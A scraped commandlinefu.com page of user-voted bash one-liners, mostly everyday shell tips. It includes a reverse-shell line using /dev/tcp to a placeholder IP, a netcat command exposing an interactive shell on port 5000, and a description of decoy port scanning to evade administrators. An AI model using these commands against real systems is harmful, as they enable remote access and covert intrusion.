Commands using bash sorted by votes

Commands using bash (60)

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bash -x ./post_to_commandlinefu.sh

nottings · 2009-02-25 19:10:21 7

bash: hotkey to put current commandline to text-editor

* in bash-shell You can capture the current commandline to a text-editor: * simply press: CTRL+x+e * Your current commandline will pe put into Your default text-editor (export EDITOR=vim)
This is sample output - yours may be different.
20

bash-hotkey: <CTRL+x+e>

alvinx · 2009-08-25 09:08:54 4
Press ctrl+r in a bash shell and type a few letters of a previous command

In the sample output, I pressed ctrl+r and typed the letters las. I can't imagine how much typing this has saved me. Show Sample Output
This is sample output - yours may be different.
```
(reverse-i-search)`las': last -a | head
```
15

^r in bash begins a reverse-search-history with command completion

abcde · 2009-02-19 18:17:54 2
Check all bash scripts in current dir for syntax errors

Check all bash scripts in current dir for syntax errors WITHOUT running them. Show Sample Output
This is sample output - yours may be different.
```
./test.sh: line 37: syntax error near unexpected token `fi'
./test.sh: line 37: `fi'
```
8

find . -name '*.sh' -exec bash -n {} \;

tsener · 2014-01-17 16:20:36 0
Rename .JPG to .jpg recursively

Recursively rename .JPG to .jpg using standard find and mv. It's generally better to use a standard tool if doing so is not much more difficult.
This is sample output - yours may be different.
7

find /path/to/images -name '*.JPG' -exec bash -c 'mv "$1" "${1/%.JPG/.jpg}"' -- {} \;

sorpigal · 2010-01-07 15:41:17 3
Chage default shell for all users [FreeBSD]

This command will set bash as the default shell for all users in a FreeBSD system.
This is sample output - yours may be different.
6

cd /usr/home && for i in *;do chsh -s bash $i;done

casidiablo · 2009-12-31 18:48:53 3
run shell with your commandlinefu.com's favourites as bash_history

This makes your commandlinefu.com's favorites appear as most recent commands in your history.
This is sample output - yours may be different.
5

(cat ~/.bash_history;U='curl -s www.commandlinefu.com';$U/users/signin -c/tmp/.c -d'username=<USER>&password=<PASS>&submit=1'|$U/commands/favourites/json -b/tmp/.c|grep -Po 'nd":.*?[^\\]",'|sed -re 's/.*":"(.*)",/\1/g')>~/.h;HISTFILE=~/.h bash --login

xenomuta · 2012-08-17 12:31:51 0
Run a bash script in debug mode, show output and save it on a file
This is sample output - yours may be different.
4

bash -x script.sh 2> log

climatewarrior · 2009-06-08 19:31:51 1
Recursively Find Images, Convert to JPEGS and Delete

Simple command to convert a large number of images into jpeg-format. Will delete originals after conversion.
This is sample output - yours may be different.
4

find . -name '*'.tiff -exec bash -c "mogrify -format jpg -quality 85 -resize 75% {} && rm {}" \;

erlebnishengst · 2009-08-10 18:27:10 1
Run a bash script in debug mode, show output and save it on a file

Sends both stdout and stderr to the pipe which captures the data in the file 'out.test' and sends to stdout of tee (likely /dev/tty unless redirected). Works on Bourne, Korn and Bash shells.
This is sample output - yours may be different.
4

bash -x test.sh 2>&1 | tee out.test

arcege · 2009-09-03 17:10:44 0

Calculates the size on disk for each package installed on the filesystem (or removed but not purged). This is missing the | sort -rn which would put the biggest packges on top. That was purposely left out as the command is slightly on the slow side Also you may need to run this as root as some files can only be checked by du if you can read them ;) Show Sample Output

This is sample output - yours may be different.

176     acl                                                                                                                                     
44      acpi                                                                                                                                    
396     acpi-support                                                                                                                            
32      acpi-support-base                                                                                                                       
108     acpid                                                                                                                                   
524     adduser                                                                                                                                 
408     akonadi-server                                                                                                                          
2416    akregator                                                                                                                               
388     alsa-base                                                                                                                               
1840    alsa-utils                                                                                                                              
1860    amor                                                                                                                                    
96      anacron                                                                                                                                 
120     apmd                                                                                                                                    
4512    apt                                                                                                                                     
104     apt-file                                                                                                                                
376     apt-utils                                                                                                                               
140     apt-xapian-index                                                                                                                        
9184    aptitude                                                                                                                                
112     at                                                                                                                                      
104     avahi-autoipd                                                                                                                           
252     avahi-daemon                                                                                                                            
260     base-files                                                                                                                              
100     base-passwd                                                                                                                             
du: cannot access `diverted by dash to: /usr/share/man/man1/sh.distrib.1.gz': No such file or directory                                         
du: cannot access `diverted by dash to: /bin/sh.distrib': No such file or directory

dpkg --get-selections | cut -f1 | while read pkg; do dpkg -L $pkg | xargs -I'{}' bash -c 'if [ ! -d "{}" ]; then echo "{}"; fi' | tr '\n' '\000' | du -c --files0-from - | tail -1 | sed "s/total/$pkg/"; done

pykler · 2009-10-12 14:57:54 0

Broadcast your shell thru port 5000

Doesn't work so well if you connect from windows. Linux only sends LF where windows wants CRLF. The alternative command works better with windows, however it uses script and a named pipe.
This is sample output - yours may be different.
4

bash -i 2>&1 | tee /dev/stderr | nc -l 5000

pykler · 2010-10-20 18:32:12 0
print line and execute it in BASH

If script.sh contains only these two lines: $ uname -a $ whoami Show Sample Output
This is sample output - yours may be different.
```
+ uname -a
Linux torgerde 2.6.35-22-generic #35-Ubuntu SMP Sat Oct 16 20:45:36 UTC 2010 x86_64 GNU/Linux
+ whoami
robert
```
4

bash -x script.sh

unixmonkey8024 · 2010-12-15 17:01:51 0
Run a command as root, with a delay

sleep 1h ; sudo command or sudo sleep 1h ; sudo command won't work, because by the time the delay is up, sudo will want your password again.
This is sample output - yours may be different.
4

sudo bash -c "sleep 1h ; command"

dbh · 2011-06-15 16:46:31 4
Batch Convert SVG to PNG (in parallel)

Convert some SVG files into PNG using ImageMagick's convert command. Run the conversions in parallel to save time. This is safer than robinro's forkbomb approach :-) xargs runs four processes at a time -P4
This is sample output - yours may be different.
4

find . -name \*.svg -print0 | xargs -0 -n1 -P4 -I{} bash -c 'X={}; convert "$X" "${X%.svg}.png"'

flatcap · 2014-04-11 14:30:30 0

Debug bash shell scripts.

Display commands and their arguments as they are executed. Useful for debugging shell scripts. Show Sample Output

bash -x SCRIPT

jcalvert · 2009-03-13 00:09:07 3

GRUB2: set Super Mario as startup tune

I'll let Slayer handle that. Raining Blood for your pleasure.
This is sample output - yours may be different.
3

sudo bash -c 'echo "GRUB_INIT_TUNE=\"480 165 2 165 2 165 3 554 1 587 1 554 2 370 1 554 1 523 2 349 1 523 1 494 3 165 2 165 2 165 2\"" >> /etc/default/grub && update-grub'

slayer_ftw · 2011-05-02 12:06:49 1
Convert encoding from cp1252 (MS Windows) to UTF-8 on source code files
This is sample output - yours may be different.
3

find . -iname *.java -type f -exec bash -c "iconv -f WINDOWS-1252 -t UTF-8 {} > {}.tmp " \; -exec mv {}.tmp {} \;

miguelbaldi · 2012-01-12 20:00:26 0
Check your bash shell for vulnerability to the ShellShock exploit

If this command prints 'x' then your shell is vulnerable. Null output confirms that you are protected. Further reading: http://allanmcrae.com/2014/09/shellshock-and-arch-linux/ Show Sample Output
This is sample output - yours may be different.
```
x
```
3

x="() { :; }; echo x" bash -c :

malathion · 2014-12-08 22:21:18 0
Backup all databases in a MySQL container
This is sample output - yours may be different.
3

cat databases.txt | while read db; do docker exec $container_name bash -c "mysqldump -uroot -p\$MYSQL_ROOT_PASSWORD ${db}" | gzip -9 > $HOME/backups/${db}_`date +%Y%m%d_%H%M%S`.sql.gz; done

batandwa · 2018-09-02 15:23:32 0
Connect-back shell using Bash built-ins
This is sample output - yours may be different.
2

bash -i >& /dev/tcp/IP/PORT 0>&1

rux · 2011-02-16 11:54:29 0
Null a file with sudo
This is sample output - yours may be different.
2

sudo bash -c "> /var/log/httpd/access_log"

zlemini · 2014-10-02 15:39:47 5
Display Spinner while waiting for some process to finish

alternatively, run the spinner for 5 seconds: timeout 5 bash -c 'spinner=( Ooooo oOooo ooOoo oooOo ooooO oooOo ooOoo oOooo); while true; do for i in ${spinner[@]}; do for j in seq 0 ${#i}; do echo -en "\b\b"; done; echo -ne "${i}"; sleep 0.2; done; done' Show Sample Output
This is sample output - yours may be different.
```
ooooO
```
2

while kill -0 0; do timeout 5 bash -c 'spinner=( Ooooo oOooo ooOoo oooOo ooooO oooOo ooOoo oOooo); while true; do for i in ${spinner[@]}; do for _ in seq 0 ${#i}; do echo -en "\b\b"; done; echo -ne "${i}"; sleep 0.2; done; done'; done

anapsix · 2015-05-07 19:13:08 2
Make changes in .bashrc immediately available
This is sample output - yours may be different.
2

bashrc-reload() { builtin exec bash ; }

Xk2c · 2016-04-30 10:37:38 0
Bulk renames with find, sed and a little escaping

This command is a more flexible than my previous submission. It will work with spaces however suuuuper hacky and ugly. Source: http://www.unix.com/shell-programming-scripting/146173-find-rename-files-using-find-mv-sed.html Show Sample Output
This is sample output - yours may be different.
```
foobar1 gets renamed to barbar1
barfoo2 gets renamed to barbar2
fooobarfoo gets renamed to barobarfoo
```
1

find . -exec bash -c "mv '{}' '\`echo {} |sed -e 's/foo/bar/g'\`"' \;

windfold · 2011-05-07 15:41:07 0
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print file without duplicated lines using awk

This create an array 'a' with wole lines. only one occurrence of each line - Not Get lines ++ !

Create Encrypted WordPress MySQL Backup without any DB details, just the wp-config.php

The coolest way I've found to backup a wordpress mysql database using encryption, and using local variables created directly from the wp-config.php file so that you don't have to type them- which would allow someone sniffing your terminal or viewing your shell history to see your info. I use a variation of this for my servers that have hundreds of wordpress installs and databases by using a find command for the wp-config.php file and passing that through xargs to my function.

Use a decoy while scanning ports to avoid getting caught by the sys admin :9

Scan for open ports on the target device/computer (192.168.0.10) while setting up a decoy address (192.168.0.2). This will show the decoy ip address instead of your ip in targets security logs. Decoy address needs to be alive. Check the targets security log at /var/log/secure to make sure it worked.

Which processes are listening on a specific port (e.g. port 80)

swap out "80" for your port of interest. Can use port number or named ports e.g. "http"

Rename files in batch

Keep track of diff progress

You're running a program that reads LOTS of files and takes a long time. But it doesn't tell you about its progress. First, run a command in the background, e.g. $ find /usr/share/doc -type f -exec cat {} + > output_file.txt Then run the watch command. "watch -d" highlights the changes as they happen In bash: $! is the process id (pid) of the last command run in the background. You can change this to $(pidof my_command) to watch something in particular.

Remove all unused kernels with apt-get

Note the double space: "...^ii␣␣linux-image-2..." Like 5813, but fixes two bugs: [1]This leaves the meta-packages 'linux-headers-generic' and 'linux-image-generic' alone so that automatic upgrades work correctly in the future. [2]Kernels newer than the currently running one are left alone (this can happen if you didn't reboot after installing a new kernel). I'm bummed that this took 228 characters. I'd like to see a simpler version.

Transfer large files/directories with no overhead over the network

This invokes tar on the remote machine and pipes the resulting tarfile over the network using ssh and is saved on the local machine. This is useful for making a one-off backup of a directory tree with zero storage overhead on the source. Variations on this include using compression on the source by using 'tar cfvp' or compression at the destination via $ ssh user@host "cd dir; tar cfp - *" | gzip - > file.tar.gz

Fetch the current human population of Earth

Fetches the world population JSON data from the US census and parses it uses jshon

Remove trailing space in vi

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Commands using bash (60)

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